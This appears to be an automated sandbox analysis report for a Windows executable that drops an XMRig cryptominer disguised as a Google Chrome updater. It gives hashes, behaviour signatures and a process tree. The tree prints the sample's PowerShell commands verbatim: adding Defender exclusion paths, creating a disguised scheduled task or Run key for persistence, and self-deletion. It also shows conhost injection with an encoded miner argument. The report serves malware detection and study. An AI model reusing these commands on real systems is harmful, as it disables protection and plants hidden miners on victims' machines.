Overview
overview
10Static
static
3grhsghsGHs...y8.exe
windows7-x64
10grhsghsGHs...y8.exe
windows10-2004-x64
10grhsghsGHs...SE.exe
windows7-x64
10grhsghsGHs...SE.exe
windows10-2004-x64
10grhsghsGHs...CD.exe
windows7-x64
10grhsghsGHs...CD.exe
windows10-2004-x64
10grhsghsGHs...Da.exe
windows7-x64
10grhsghsGHs...Da.exe
windows10-2004-x64
10grhsghsGHs...wq.exe
windows7-x64
10grhsghsGHs...wq.exe
windows10-2004-x64
10grhsghsGHs...r7.exe
windows7-x64
10grhsghsGHs...r7.exe
windows10-2004-x64
10grhsghsGHs...XJ.exe
windows7-x64
10grhsghsGHs...XJ.exe
windows10-2004-x64
10grhsghsGHs...eg.exe
windows7-x64
10grhsghsGHs...eg.exe
windows10-2004-x64
10grhsghsGHs...5H.exe
windows7-x64
10grhsghsGHs...5H.exe
windows10-2004-x64
10grhsghsGHs...XN.exe
windows7-x64
10grhsghsGHs...XN.exe
windows10-2004-x64
10grhsghsGHs...T3.exe
windows7-x64
10grhsghsGHs...T3.exe
windows10-2004-x64
10grhsghsGHs...9r.exe
windows7-x64
10grhsghsGHs...9r.exe
windows10-2004-x64
10grhsghsGHs...GR.exe
windows7-x64
10grhsghsGHs...GR.exe
windows10-2004-x64
10grhsghsGHs...EX.exe
windows7-x64
10grhsghsGHs...EX.exe
windows10-2004-x64
10grhsghsGHs...EA.exe
windows7-x64
10grhsghsGHs...EA.exe
windows10-2004-x64
10grhsghsGHs...FB.exe
windows7-x64
10grhsghsGHs...FB.exe
windows10-2004-x64
10Resubmissions
25-01-2024 16:55
240125-vfcyksbhgr 1024-01-2024 17:15
240124-vstf4aecaj 1023-01-2024 19:27
240123-x6cfvagbd9 1023-01-2024 19:27
240123-x6bvbafgem 1023-01-2024 19:27
240123-x6bjjsgbd8 1023-01-2024 19:27
240123-x6ax1sfgek 1023-01-2024 19:27
240123-x6abgsfgej 1023-01-2024 19:27
240123-x591qagbd7 1023-01-2024 19:27
240123-x59d7agbd6 1023-01-2024 19:27
240123-x584esgbd5 10Analysis
-
max time kernel
372s -
max time network
1797s -
platform
windows7_x64 -
resource
win7-20231215-en -
resource tags
arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system -
submitted
23-01-2024 19:27
Static task
static1
Behavioral task
behavioral1
Sample
grhsghsGHswgh/3JynzWc6LxNCT2y8.exe
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
grhsghsGHswgh/3JynzWc6LxNCT2y8.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral3
Sample
grhsghsGHswgh/6aNn9vLJCQVfagSE.exe
Resource
win7-20231215-en
Behavioral task
behavioral4
Sample
grhsghsGHswgh/6aNn9vLJCQVfagSE.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral5
Sample
grhsghsGHswgh/6vHkJ4UErTSS5ECD.exe
Resource
win7-20231215-en
Behavioral task
behavioral6
Sample
grhsghsGHswgh/6vHkJ4UErTSS5ECD.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral7
Sample
grhsghsGHswgh/Be5sCbvuma2nkHDa.exe
Resource
win7-20231129-en
Behavioral task
behavioral8
Sample
grhsghsGHswgh/Be5sCbvuma2nkHDa.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral9
Sample
grhsghsGHswgh/DLKFnAGYJBNTnxwq.exe
Resource
win7-20231215-en
Behavioral task
behavioral10
Sample
grhsghsGHswgh/DLKFnAGYJBNTnxwq.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral11
Sample
grhsghsGHswgh/EtPLMpbCyFJpMJr7.exe
Resource
win7-20231215-en
Behavioral task
behavioral12
Sample
grhsghsGHswgh/EtPLMpbCyFJpMJr7.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral13
Sample
grhsghsGHswgh/Gu3PdXt79NF7EJXJ.exe
Resource
win7-20231215-en
Behavioral task
behavioral14
Sample
grhsghsGHswgh/Gu3PdXt79NF7EJXJ.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral15
Sample
grhsghsGHswgh/JqLvG94UkYjhxAeg.exe
Resource
win7-20231215-en
Behavioral task
behavioral16
Sample
grhsghsGHswgh/JqLvG94UkYjhxAeg.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral17
Sample
grhsghsGHswgh/LM3BR4UBmKBzBP5H.exe
Resource
win7-20231215-en
Behavioral task
behavioral18
Sample
grhsghsGHswgh/LM3BR4UBmKBzBP5H.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral19
Sample
grhsghsGHswgh/M8xUNW42QxTLMRXN.exe
Resource
win7-20231215-en
Behavioral task
behavioral20
Sample
grhsghsGHswgh/M8xUNW42QxTLMRXN.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral21
Sample
grhsghsGHswgh/Q5EUCWHU7pMYBfT3.exe
Resource
win7-20231215-en
Behavioral task
behavioral22
Sample
grhsghsGHswgh/Q5EUCWHU7pMYBfT3.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral23
Sample
grhsghsGHswgh/UMRsPGc4u9tycx9r.exe
Resource
win7-20231215-en
Behavioral task
behavioral24
Sample
grhsghsGHswgh/UMRsPGc4u9tycx9r.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral25
Sample
grhsghsGHswgh/UU4Ddwqm5zcuLzGR.exe
Resource
win7-20231215-en
Behavioral task
behavioral26
Sample
grhsghsGHswgh/UU4Ddwqm5zcuLzGR.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral27
Sample
grhsghsGHswgh/XJEzW6M7WvHaF3EX.exe
Resource
win7-20231215-en
Behavioral task
behavioral28
Sample
grhsghsGHswgh/XJEzW6M7WvHaF3EX.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral29
Sample
grhsghsGHswgh/Y2JYGshMHJGuGREA.exe
Resource
win7-20231215-en
Behavioral task
behavioral30
Sample
grhsghsGHswgh/Y2JYGshMHJGuGREA.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral31
Sample
grhsghsGHswgh/Yvdp8t5knpQz7sFB.exe
Resource
win7-20231129-en
General
-
Target
grhsghsGHswgh/UU4Ddwqm5zcuLzGR.exe
-
Size
2.0MB
-
MD5
a16a669a09bf158058b83e04e69fe38e
-
SHA1
f6c94763850d9e590d86057139e8895a7aacdeea
-
SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
-
SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
-
SSDEEP
49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO
Malware Config
Signatures
-
Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs
Processes:
UU4Ddwqm5zcuLzGR.exeupdater.execonhost.exedescription pid process target process PID 2220 created 1252 2220 UU4Ddwqm5zcuLzGR.exe Explorer.EXE PID 2220 created 1252 2220 UU4Ddwqm5zcuLzGR.exe Explorer.EXE PID 2220 created 1252 2220 UU4Ddwqm5zcuLzGR.exe Explorer.EXE PID 2220 created 1252 2220 UU4Ddwqm5zcuLzGR.exe Explorer.EXE PID 2884 created 1252 2884 updater.exe Explorer.EXE PID 2884 created 1252 2884 updater.exe Explorer.EXE PID 2884 created 1252 2884 updater.exe Explorer.EXE PID 2884 created 1252 2884 updater.exe Explorer.EXE PID 2312 created 1252 2312 conhost.exe Explorer.EXE PID 2884 created 1252 2884 updater.exe Explorer.EXE -
XMRig Miner payload 29 IoCs
Processes:
resource yara_rule behavioral25/memory/2436-71-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral25/memory/2436-73-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral25/memory/2436-75-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral25/memory/2436-77-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral25/memory/2436-81-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral25/memory/2436-83-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral25/memory/2436-90-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral25/memory/2436-92-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral25/memory/2436-99-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral25/memory/2436-101-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral25/memory/2436-103-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral25/memory/2436-105-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral25/memory/2436-112-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral25/memory/2436-114-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral25/memory/2436-116-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral25/memory/2436-118-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral25/memory/2436-125-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral25/memory/2436-132-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral25/memory/2436-134-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral25/memory/2436-136-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral25/memory/2436-138-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral25/memory/2436-140-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral25/memory/2436-142-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral25/memory/2436-149-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral25/memory/2436-151-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral25/memory/2436-153-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral25/memory/2436-155-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral25/memory/2436-157-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral25/memory/2436-159-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig -
Deletes itself 1 IoCs
Processes:
cmd.exepid process 2560 cmd.exe -
Executes dropped EXE 1 IoCs
Processes:
updater.exepid process 2884 updater.exe -
Loads dropped DLL 1 IoCs
Processes:
taskeng.exepid process 2552 taskeng.exe -
Processes:
resource yara_rule behavioral25/memory/2436-66-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral25/memory/2436-71-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral25/memory/2436-73-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral25/memory/2436-75-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral25/memory/2436-77-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral25/memory/2436-81-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral25/memory/2436-83-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral25/memory/2436-90-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral25/memory/2436-92-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral25/memory/2436-99-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral25/memory/2436-101-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral25/memory/2436-103-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral25/memory/2436-105-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral25/memory/2436-112-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral25/memory/2436-114-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral25/memory/2436-116-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral25/memory/2436-118-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral25/memory/2436-125-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral25/memory/2436-132-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral25/memory/2436-134-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral25/memory/2436-136-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral25/memory/2436-138-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral25/memory/2436-140-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral25/memory/2436-142-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral25/memory/2436-149-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral25/memory/2436-151-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral25/memory/2436-153-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral25/memory/2436-155-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral25/memory/2436-157-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral25/memory/2436-159-0x0000000140000000-0x00000001407F4000-memory.dmp upx -
Drops file in System32 directory 5 IoCs
Processes:
powershell.exepowershell.exepowershell.exepowershell.exepowershell.exedescription ioc process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe -
Suspicious use of SetThreadContext 2 IoCs
Processes:
updater.exedescription pid process target process PID 2884 set thread context of 2312 2884 updater.exe conhost.exe PID 2884 set thread context of 2436 2884 updater.exe conhost.exe -
Drops file in Program Files directory 4 IoCs
Processes:
updater.execmd.execmd.exeUU4Ddwqm5zcuLzGR.exedescription ioc process File created C:\Program Files\Google\Libs\WR64.sys updater.exe File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Chrome\updater.exe UU4Ddwqm5zcuLzGR.exe -
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
Processes:
schtasks.exeschtasks.exepid process 2740 schtasks.exe 1620 schtasks.exe -
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
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Modifies data under HKEY_USERS 3 IoCs
Processes:
powershell.exeWMIC.exedescription ioc process Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage powershell.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = b0ea3dcca051da01 powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ WMIC.exe -
Suspicious behavior: EnumeratesProcesses 25 IoCs
Processes:
UU4Ddwqm5zcuLzGR.exepowershell.exepowershell.exepowershell.exeupdater.exepowershell.exepowershell.execonhost.exepid process 2220 UU4Ddwqm5zcuLzGR.exe 2220 UU4Ddwqm5zcuLzGR.exe 2284 powershell.exe 2220 UU4Ddwqm5zcuLzGR.exe 2220 UU4Ddwqm5zcuLzGR.exe 2776 powershell.exe 2220 UU4Ddwqm5zcuLzGR.exe 2220 UU4Ddwqm5zcuLzGR.exe 2220 UU4Ddwqm5zcuLzGR.exe 2220 UU4Ddwqm5zcuLzGR.exe 2564 powershell.exe 2884 updater.exe 2884 updater.exe 1960 powershell.exe 2884 updater.exe 2884 updater.exe 868 powershell.exe 2884 updater.exe 2884 updater.exe 2884 updater.exe 2884 updater.exe 2312 conhost.exe 2312 conhost.exe 2884 updater.exe 2884 updater.exe -
Suspicious behavior: LoadsDriver 1 IoCs
Processes:
pid process 464 -
Suspicious use of AdjustPrivilegeToken 31 IoCs
Processes:
powershell.exepowershell.exepowershell.exepowershell.exepowershell.exeupdater.exeWMIC.execonhost.exedescription pid process Token: SeDebugPrivilege 2284 powershell.exe Token: SeDebugPrivilege 2776 powershell.exe Token: SeDebugPrivilege 2564 powershell.exe Token: SeDebugPrivilege 1960 powershell.exe Token: SeDebugPrivilege 868 powershell.exe Token: SeDebugPrivilege 2884 updater.exe Token: SeAssignPrimaryTokenPrivilege 856 WMIC.exe Token: SeIncreaseQuotaPrivilege 856 WMIC.exe Token: SeSecurityPrivilege 856 WMIC.exe Token: SeTakeOwnershipPrivilege 856 WMIC.exe Token: SeLoadDriverPrivilege 856 WMIC.exe Token: SeSystemtimePrivilege 856 WMIC.exe Token: SeBackupPrivilege 856 WMIC.exe Token: SeRestorePrivilege 856 WMIC.exe Token: SeShutdownPrivilege 856 WMIC.exe Token: SeSystemEnvironmentPrivilege 856 WMIC.exe Token: SeUndockPrivilege 856 WMIC.exe Token: SeManageVolumePrivilege 856 WMIC.exe Token: SeAssignPrimaryTokenPrivilege 856 WMIC.exe Token: SeIncreaseQuotaPrivilege 856 WMIC.exe Token: SeSecurityPrivilege 856 WMIC.exe Token: SeTakeOwnershipPrivilege 856 WMIC.exe Token: SeLoadDriverPrivilege 856 WMIC.exe Token: SeSystemtimePrivilege 856 WMIC.exe Token: SeBackupPrivilege 856 WMIC.exe Token: SeRestorePrivilege 856 WMIC.exe Token: SeShutdownPrivilege 856 WMIC.exe Token: SeSystemEnvironmentPrivilege 856 WMIC.exe Token: SeUndockPrivilege 856 WMIC.exe Token: SeManageVolumePrivilege 856 WMIC.exe Token: SeLockMemoryPrivilege 2436 conhost.exe -
Suspicious use of WriteProcessMemory 20 IoCs
Processes:
powershell.execmd.exepowershell.exetaskeng.exepowershell.exeupdater.execmd.exedescription pid process target process PID 2776 wrote to memory of 2740 2776 powershell.exe schtasks.exe PID 2776 wrote to memory of 2740 2776 powershell.exe schtasks.exe PID 2776 wrote to memory of 2740 2776 powershell.exe schtasks.exe PID 2560 wrote to memory of 2640 2560 cmd.exe choice.exe PID 2560 wrote to memory of 2640 2560 cmd.exe choice.exe PID 2560 wrote to memory of 2640 2560 cmd.exe choice.exe PID 2564 wrote to memory of 1804 2564 powershell.exe schtasks.exe PID 2564 wrote to memory of 1804 2564 powershell.exe schtasks.exe PID 2564 wrote to memory of 1804 2564 powershell.exe schtasks.exe PID 2552 wrote to memory of 2884 2552 taskeng.exe updater.exe PID 2552 wrote to memory of 2884 2552 taskeng.exe updater.exe PID 2552 wrote to memory of 2884 2552 taskeng.exe updater.exe PID 868 wrote to memory of 1620 868 powershell.exe schtasks.exe PID 868 wrote to memory of 1620 868 powershell.exe schtasks.exe PID 868 wrote to memory of 1620 868 powershell.exe schtasks.exe PID 2884 wrote to memory of 2312 2884 updater.exe conhost.exe PID 624 wrote to memory of 856 624 cmd.exe WMIC.exe PID 624 wrote to memory of 856 624 cmd.exe WMIC.exe PID 624 wrote to memory of 856 624 cmd.exe WMIC.exe PID 2884 wrote to memory of 2436 2884 updater.exe conhost.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
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C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\UU4Ddwqm5zcuLzGR.exe"C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\UU4Ddwqm5zcuLzGR.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"3⤵
- Creates scheduled task(s)
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\UU4Ddwqm5zcuLzGR.exe"2⤵
- Deletes itself
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\choice.exechoice /C Y /N /D Y /T 33⤵
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC3⤵
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"3⤵
- Creates scheduled task(s)
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe qtdiqnkejoz2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz2⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\taskeng.exetaskeng.exe {568A12DB-4FCE-42A9-896E-AD2BB40633B6} S-1-5-18:NT AUTHORITY\System:Service:1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Program Files\Google\Chrome\updater.exe"C:\Program Files\Google\Chrome\updater.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\Wbem\WMIC.exewmic PATH Win32_VideoController GET Name, VideoProcessor1⤵
- Detects videocard installed
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v13
Replay Monitor
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Downloads
-
C:\Program Files\Google\Chrome\updater.exeFilesize
992KB
MD57fcabc73af0b35abf701419a3aa65c5c
SHA1a46433d6586e0414bd0bbd48be56fa0de3a28bdd
SHA2568511ddf95c55ddbc881f62661edb049a798c620244758c4c559d9e8f5aea7c52
SHA5124cdf7d18dccafccb5f6af3d168853f5235349fb1f312d96116ac4f1cd5653b00c0c4e0840c97e880da99326a2a3da490d1906f963703d0fccd22386a6c78cb44
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C:\Program Files\Google\Chrome\updater.exeFilesize
1.2MB
MD571a5231f5eb76497fe6fdcc1337c8c8b
SHA1cd1ab0d4e332c2381653294cfc9d1720c0ada0b6
SHA25668200a91ff56b154ba20fd5d9692565f6f7403739e114d10060f624ed99da756
SHA512bf531d1714e9053e9031d81cdfe1d4c0fcb2f9c2e461f313f1c5397f4ef0916b83bf3d887e84a8d0dd8c8ed36df91eac83c0df3a1b719107a806708d58cd78a5
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C:\Program Files\Google\Libs\g.logFilesize
198B
MD537dd19b2be4fa7635ad6a2f3238c4af1
SHA1e5b2c034636b434faee84e82e3bce3a3d3561943
SHA2568066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07
SHA51286e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-msFilesize
7KB
MD59101d843997c421ed4bdfd7e52582401
SHA165e96a79307ce5820195115802ba9b008d225190
SHA2564d9bff851e35cd2ba7a0241f26d094f44d2a6801cd42254b83b061e71a740e9b
SHA512233ab2e241cf4ba8bdbc5fb0f0452a27baf3cd450a4d0a5094ead998d120f7c2494d1b7036811a6df2c3d0194ffe089dd919eeb4b02860fb0844182c0a4f47cb
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\??\PIPE\srvsvcMD5
d41d8cd98f00b204e9800998ecf8427e
SHA1da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SHA512cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e
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\Program Files\Google\Chrome\updater.exeFilesize
1.3MB
MD5ead0bdf1c2d9272a9a9b64ae64f04cd0
SHA1ac17632c2646df9ee23927338ebf8444e79ca2f2
SHA25671c1e5c85155585f63c235956c78df4b3d1f33243d65ab83e7f4d8917d433fea
SHA512b13406665b030067732089904ffaa0ce11314ac1ddc0dd5de73fc073360539a54caa3bb6dc4ae51fca843d7f208e171ac5768eab0342f54f0330d72600c43552
